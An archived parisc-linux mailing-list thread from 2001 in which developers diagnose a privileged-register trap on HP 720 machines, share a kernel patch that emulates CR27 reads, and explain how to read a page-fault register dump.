> IASQ: 0000002c 0000002c IAOQ: 401b340f 401b3413
>  IIR: 036008a4    ISR: 0000002c  IOR: 0002df58
>  CPU:        0   CR30: 11b68000 CR31: 10358000
>  ORIG_R28: 0002f000
> 
> Does anyone know what the cause 11 means?
[skipped]

Hi!

>From the docs:

Privileged register trap (11)
An attempt is being made to write to a privileged space register
or access a privileged control register without being at the most
privileged level (priv=0).
May be caused by MOVE TO SPACE REGISTER, MOVE TO CONTROL REGISTER,
or MOVE FROM CONTROL REGISTER instructions.

Do I understand correctly, that you started seeng trap 11 only
after applying your patch?

Best regards,

Jurij







From - Thu Nov 08 21:19:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurij@lokmail.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Thu, 27 Sep 2001 06:03:56 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <200109271003.GAA02353@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620523 26279 80.91.229.3 (22 Nov 2014 01:42:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 04:04:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lokmail.net (MAIL.LOKMAIL.NET [209.48.2.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F27F4837
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 04:04:01 -0600 (MDT)
Original-Received: from mail.lokmail.net (localhost [127.0.0.1])
	by mail.lokmail.net (8.9.3/8.9.3) with ESMTP id GAA02353
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 06:03:57 -0400
Content-ID: <2348.1001585036.1@mail.lokmail.net>
Original-Sender: jurij@mail.lokmail.net
Xref: news.gmane.org gmane.linux.ports.parisc:12320

And another (very weird) thing... I've manually decoded the instruction
(036008A4), which produces the trap 11 (hopefully, correctly :-). 
It turns out to be an MFCTL instruction to load contents of control 
register 27 into a general register 4. According to the docs for this
command ("PA-RISC 1.1 Architecture and Instruction Set Reference Manual",
Third edition, page 5-151):

"CR11, CR26 and CR 27 may be read at ANY privilege level."

So, unless I am missing something, this instruction SHOULD NOT produce
trap 11. Is it some hardware feature of 720 or my manual disassembling
skills must be improved? ;-).

Best regards,

Jurij







From - Thu Nov 08 21:19:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Thu, 27 Sep 2001 13:11:37 +0200 (CEST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0109271231210.18542-100000@www2.scram.de>
References: <200109270909.FAA26514@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620524 26287 80.91.229.3 (22 Nov 2014 01:42:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:04 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Jurij Smakov <jurij@lokmail.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 05:11:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id E3BA64837
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 05:11:43 -0600 (MDT)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id f8RBBdi24085;
	Thu, 27 Sep 2001 13:11:39 +0200 (CEST)
In-Reply-To: <200109270909.FAA26514@mail.lokmail.net>
Xref: news.gmane.org gmane.linux.ports.parisc:12321

Hi Jurij,

> Do I understand correctly, that you started seeng trap 11 only
> after applying your patch?

Nope, that was the same trap i got with the case 26 fallthrough, as well.
Apparently, ls etc doesn't have a problem with unaligned access, but it
must be something different. The PA7100LC documentation documents some
changes to the read access privileges to CR26 and CR27. Might that be the
cause for the trap 11?

The patch helps for the test case i provided, which really is an unaligned
access. The unpatched kernel doesn't trap at all with this program, but
the program will just hang.

Cheers,
Jochen





From - Thu Nov 08 21:19:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Thu, 27 Sep 2001 13:15:19 +0200 (CEST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0109271312510.18542-100000@www2.scram.de>
References: <200109271003.GAA02353@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620524 26293 80.91.229.3 (22 Nov 2014 01:42:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:04 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Jurij Smakov <jurij@lokmail.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 05:15:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 97E3C4837
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 05:15:24 -0600 (MDT)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id f8RBFKi24118;
	Thu, 27 Sep 2001 13:15:20 +0200 (CEST)
In-Reply-To: <200109271003.GAA02353@mail.lokmail.net>
Xref: news.gmane.org gmane.linux.ports.parisc:12322

Hi Jurij,

> And another (very weird) thing... I've manually decoded the instruction
> (036008A4), which produces the trap 11 (hopefully, correctly :-).
> It turns out to be an MFCTL instruction to load contents of control
> register 27 into a general register 4.

The CPU in the 720 will treat this as a priviledged instruction. The
changes "signal 18 -> signal 26, signal 27, signal 28" and "allow read
access to CR26 and CR27 for non-priviledged access" are documented as new
for the PA7100LC processor, so they are not available in the 720.

Another thing to emulate on the old 720/50 platform...

Cheers,
Jochen





From - Thu Nov 08 21:19:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] More strange problems
Date: Thu, 27 Sep 2001 11:34:53 +0000
Lines: 45
Approved: news@gmane.org
Message-ID: <20010927113453.F16693@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620524 26297 80.91.229.3 (22 Nov 2014 01:42:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 05:34:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1874C4837
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 05:34:55 -0600 (MDT)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id f8RBYr724575
	for parisc-linux@lists.parisc-linux.org; Thu, 27 Sep 2001 11:34:53 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Xref: news.gmane.org gmane.linux.ports.parisc:12323

bofh:/u0/RPMS# rpm --initdb
bofh:/u0/RPMS# rpm -ivh zlib-1.1.3-24.parisc.rpm zlib-devel-1.1.3-24.parisc.rpm
Segmentation fault
bofh:/u0/RPMS# dmesg | tail -20

do_page_fault() pid=2132 command='rpm' type=15 address=0x00000024

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     00000000 00000008 0007c7b7 bff00938
r4-7     001b8000 00000009 00207510 0020758c
r8-11    00002001 00205fe0 bff007f4 001ffa10
r12-15   001de270 00000000 bff004c4 00000102
r16-19   00000000 001f65e0 00205fe0 001b8000
r20-23   01010101 00205fdc 80808080 00000006
r24-27   bff00938 00000009 00000000 001dca70
r28-31   001e3238 00000000 bff009f0 00059457
sr0-3    00000014 00000014 00000000 00000014
sr4-7    00000014 00000014 00000014 00000014

IASQ: 00000014 00000014 IAOQ: 0007c7c3 0007c7c7
 IIR: 48340038    ISR: 00000014  IOR: 00000024
 CPU:        0   CR30: 29164000 CR31: 10350000
 ORIG_R28: 00206000




Another question.

While creating a diff from the glibc 2.2.3 sources in your CVS against
prestine glibc 2.2.3 sources, I notice that there is a subfolder in
there called linuxthreads.   Are threads handled differently on
parisc than on other platforms ?   Or is this folder just something
left over from older times ?


-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.




From - Thu Nov 08 21:19:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurij@lokmail.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Thu, 27 Sep 2001 08:23:09 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <200109271223.IAA32108@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620525 26299 80.91.229.3 (22 Nov 2014 01:42:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 06:23:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lokmail.net (MAIL.LOKMAIL.NET [209.48.2.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 25E5C4837
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 06:23:14 -0600 (MDT)
Original-Received: from mail.lokmail.net (localhost [127.0.0.1])
	by mail.lokmail.net (8.9.3/8.9.3) with ESMTP id IAA32108
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 08:23:09 -0400
Content-ID: <32097.1001593388.1@mail.lokmail.net>
Original-Sender: jurij@mail.lokmail.net
Xref: news.gmane.org gmane.linux.ports.parisc:12324

> The CPU in the 720 will treat this as a priviledged instruction. The
> changes "signal 18 -> signal 26, signal 27, signal 28" and "allow read
> access to CR26 and CR27 for non-priviledged access" are documented as new
> for the PA7100LC processor, so they are not available in the 720.
> 
> Another thing to emulate on the old 720/50 platform...
> 
> Cheers,
> Jochen

It does not seem so complicated... Even with my rudimentary C programming
skills :-). I'll try to put something together. Is there a way to check
if we are running on a 720?

Jurij.







From - Thu Nov 08 21:19:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More strange problems
Date: Thu, 27 Sep 2001 14:29:43 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20010927142943.A16096@parcelfarce.linux.theplanet.co.uk>
References: <20010927113453.F16693@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620525 26302 80.91.229.3 (22 Nov 2014 01:42:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Allen <ra@hp.is>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 07:29:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 292AB4837
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 07:29:45 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15mbEV-0004RW-00; Thu, 27 Sep 2001 14:29:43 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010927113453.F16693@hp.is>; from ra@hp.is on Thu, Sep 27, 2001 at 11:34:53AM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12325

On Thu, Sep 27, 2001 at 11:34:53AM +0000, Richard Allen wrote:
> While creating a diff from the glibc 2.2.3 sources in your CVS against
> prestine glibc 2.2.3 sources, I notice that there is a subfolder in
> there called linuxthreads.   Are threads handled differently on
> parisc than on other platforms ?   Or is this folder just something
> left over from older times ?

linuxthreads is distributed as an add-on package for glibc; see the
glibc documentation.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Thu, 27 Sep 2001 14:45:38 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20010927144538.B16096@parcelfarce.linux.theplanet.co.uk>
References: <200109271223.IAA32108@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620525 26308 80.91.229.3 (22 Nov 2014 01:42:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jurij Smakov <jurij@lokmail.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 07:45:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C47054837
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 07:45:42 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15mbTu-0004iH-00; Thu, 27 Sep 2001 14:45:38 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200109271223.IAA32108@mail.lokmail.net>; from jurij@lokmail.net on Thu, Sep 27, 2001 at 08:23:09AM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12326

On Thu, Sep 27, 2001 at 08:23:09AM -0400, Jurij Smakov wrote:
> It does not seem so complicated... Even with my rudimentary C programming
> skills :-). I'll try to put something together. Is there a way to check
> if we are running on a 720?

There is -- but don't bother.  Check to see if the register being read is
cr26 or cr27 and perform the access if it is.  Obviously, reads of other
control registers should not be emulated.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hamish Moffatt <hamish@cloud.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FW SCSI on the D350
Date: Fri, 28 Sep 2001 00:13:54 +1000
Lines: 22
Approved: news@gmane.org
Message-ID: <20010928001354.A1519@silly.cloud.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620526 26312 80.91.229.3 (22 Nov 2014 01:42:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 08:13:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from silly.cloud.net.au (co3002322-a.eburwd1.vic.optushome.com.au [203.164.64.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C9FD4842
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 08:13:59 -0600 (MDT)
Original-Received: from hamish by silly.cloud.net.au with local (Exim 3.12 #1 (Debian))
	id 15mbvG-0000Oh-00; Fri, 28 Sep 2001 00:13:54 +1000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:12327

Hi,

I'm trying to install the 0.9 release on a D350 server. The kernel
recognises the standard SCSI, using the lasi7xxx driver, and finds
the tape drive and the CD-ROM on that host. However, it doesn't
find the Bluefish fast/wide SCSI host, so it doesn't find the
four internal hard disks, which makes installation a little tough.

The boot-up firmware recognises all of the disks OK, but the Bluefish
is just not included in the device list shown at startup/dmesg.

I'll try the 0.9.2 release tomorrow. Any other things I can do
which might help?


thanks,
Hamish
-- 
Hamish Moffatt VK3SB <hamish@debian.org> <hamish@cloud.net.au>




From - Thu Nov 08 21:19:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More strange problems
Date: Thu, 27 Sep 2001 14:35:56 +0000
Lines: 52
Approved: news@gmane.org
Message-ID: <20010927143556.K16693@hp.is>
References: <20010927113453.F16693@hp.is> <20010927142943.A16096@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620526 26316 80.91.229.3 (22 Nov 2014 01:42:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 08:36:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9304E4842
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 08:36:11 -0600 (MDT)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id f8REZuI25356;
	Thu, 27 Sep 2001 14:35:56 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010927142943.A16096@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Thu, Sep 27, 2001 at 02:29:43PM +0100
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Xref: news.gmane.org gmane.linux.ports.parisc:12328

On Thu, Sep 27, 2001 at 02:29:43PM +0100, Matthew Wilcox wrote:
> On Thu, Sep 27, 2001 at 11:34:53AM +0000, Richard Allen wrote:
> > While creating a diff from the glibc 2.2.3 sources in your CVS against
> > prestine glibc 2.2.3 sources, I notice that there is a subfolder in
> > there called linuxthreads.   Are threads handled differently on
> > parisc than on other platforms ?   Or is this folder just something
> > left over from older times ?
> 
> linuxthreads is distributed as an add-on package for glibc; see the
> glibc documentation.

Ah :)   Thanks :)


Is there any way for a non kernel guru like myself to get any info out
of those errors in dmesg ?

do_page_fault() pid=2132 command='rpm' type=15 address=0x00000024

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     00000000 00000008 0007c7b7 bff00938
r4-7     001b8000 00000009 00207510 0020758c
r8-11    00002001 00205fe0 bff007f4 001ffa10
r12-15   001de270 00000000 bff004c4 00000102
r16-19   00000000 001f65e0 00205fe0 001b8000
r20-23   01010101 00205fdc 80808080 00000006
r24-27   bff00938 00000009 00000000 001dca70
r28-31   001e3238 00000000 bff009f0 00059457
sr0-3    00000014 00000014 00000000 00000014
sr4-7    00000014 00000014 00000014 00000014

IASQ: 00000014 00000014 IAOQ: 0007c7c3 0007c7c7
 IIR: 48340038    ISR: 00000014  IOR: 00000024
 CPU:        0   CR30: 29164000 CR31: 10350000
 ORIG_R28: 00206000



For example, is this a problem with the command Im running (RPM) or is
it a problem in the kernel ?



-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.




From - Thu Nov 08 21:19:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurij@lokmail.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Thu, 27 Sep 2001 10:42:25 -0400
Lines: 43
Approved: news@gmane.org
Message-ID: <200109271442.KAA14125@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620526 26318 80.91.229.3 (22 Nov 2014 01:42:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 08:42:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lokmail.net (MAIL.LOKMAIL.NET [209.48.2.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id E3A7A4842
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 08:42:30 -0600 (MDT)
Original-Received: from mail.lokmail.net (localhost [127.0.0.1])
	by mail.lokmail.net (8.9.3/8.9.3) with ESMTP id KAA14125
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 10:42:25 -0400
Content-ID: <14120.1001601745.1@mail.lokmail.net>
Original-Sender: jurij@mail.lokmail.net
Xref: news.gmane.org gmane.linux.ports.parisc:12329

Hi!

I hope I've got it right. It only emulates MFCTL and only when the
source control register is 27. It turns out, that pt_regs does not
have a member for cr26 and adding one does not look like an easy
task. 

Jurij.

--- linux-2.4.9-pa24/arch/parisc/kernel/traps.c Wed Sep 19 12:02:30 2001
+++ linux/arch/parisc/kernel/traps.c    Thu Sep 27 16:16:54 2001
@@ -273,6 +273,7 @@
 {
        unsigned long fault_address = 0;
        unsigned long fault_space = 0;
+       int fromcr,togr;
        struct siginfo si;
 #ifdef CONFIG_KWDB
        struct save_state ssp;
@@ -363,6 +364,17 @@
                si.si_code = ILL_PRVOPC;
                goto give_sigill;
        case 11:
+               if(!(regs->iir & 0xfc000000) && (((regs->iir & 0x1fe0)>>5) == 0x45)) {
+                 /* This is MFCTL instruction */
+                 fromcr = (regs->iir & 0x03e00000)>>21;
+                 togr = (regs->iir & 0x1f);
+                 /* Emulate the instruction if the read is from cr27 */
+                 if(fromcr == 27) {
+                   regs->gr[togr] = regs->cr27;
+                   return;
+                 }
+               }
+               /* Something else is wrong */
                die_if_kernel("Privileged register - shouldn't happen!", regs, code);
                si.si_code = ILL_PRVREG;
        give_sigill:







From - Thu Nov 08 21:19:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More strange problems
Date: Thu, 27 Sep 2001 15:57:52 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <20010927155752.D16096@parcelfarce.linux.theplanet.co.uk>
References: <20010927113453.F16693@hp.is> <20010927142943.A16096@parcelfarce.linux.theplanet.co.uk> <20010927143556.K16693@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620527 26324 80.91.229.3 (22 Nov 2014 01:42:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:07 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Richard Allen <ra@hp.is>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 08:57:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 09BB34842
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 08:57:53 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15mcbo-0006D6-00; Thu, 27 Sep 2001 15:57:52 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010927143556.K16693@hp.is>; from ra@hp.is on Thu, Sep 27, 2001 at 02:35:56PM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12330

On Thu, Sep 27, 2001 at 02:35:56PM +0000, Richard Allen wrote:
> Is there any way for a non kernel guru like myself to get any info out
> of those errors in dmesg ?

Sure..

> do_page_fault() pid=2132 command='rpm' type=15 address=0x00000024

`address=0x00000024' -- it's a NULL pointer dereference.

>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001111
> r0-3     00000000 00000008 0007c7b7 bff00938
> r4-7     001b8000 00000009 00207510 0020758c
> r8-11    00002001 00205fe0 bff007f4 001ffa10
> r12-15   001de270 00000000 bff004c4 00000102
> r16-19   00000000 001f65e0 00205fe0 001b8000
> r20-23   01010101 00205fdc 80808080 00000006
> r24-27   bff00938 00000009 00000000 001dca70
> r28-31   001e3238 00000000 bff009f0 00059457
> sr0-3    00000014 00000014 00000000 00000014
> sr4-7    00000014 00000014 00000014 00000014
> 
> IASQ: 00000014 00000014 IAOQ: 0007c7c3 0007c7c7

`IASQ: 00000014' -- 0 means kernel, anything else is a user process.
`IAOQ: 0007c7c3' -- bottom 2 bits set, so we're in user mode too (good!).

>  IIR: 48340038    ISR: 00000014  IOR: 00000024
>  CPU:        0   CR30: 29164000 CR31: 10350000
>  ORIG_R28: 00206000

The truly dedicated will decode IIR to see what instruction it was,
cross-check which register in the dump was wrong then try to debug
the program.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] what i did on my holidays
Date: Thu, 27 Sep 2001 16:10:04 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20010927161004.E16096@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620527 26331 80.91.229.3 (22 Nov 2014 01:42:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:07 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 09:10:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3962C4842
